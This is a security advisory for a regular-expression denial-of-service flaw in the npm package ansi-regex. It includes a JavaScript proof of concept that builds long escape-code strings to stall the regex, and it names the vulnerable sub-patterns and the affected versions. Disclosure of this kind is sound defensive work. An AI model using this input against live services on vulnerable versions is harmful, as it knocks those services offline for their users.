GHSA-93q8-gq69-wqmwHighCVSS 7.5

Inefficient Regular Expression Complexity in chalk/ansi-regex

Published
September 20, 2021
Last Modified
September 21, 2023

🔗 CVE IDs covered (1)

📋 Description

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

🎯 Affected products4

  • npm/ansi-regex:>= 6.0.0, < 6.0.1
  • npm/ansi-regex:>= 5.0.0, < 5.0.1
  • npm/ansi-regex:>= 4.0.0, < 4.1.1
  • npm/ansi-regex:>= 3.0.0, < 3.0.1

🔗 References (13)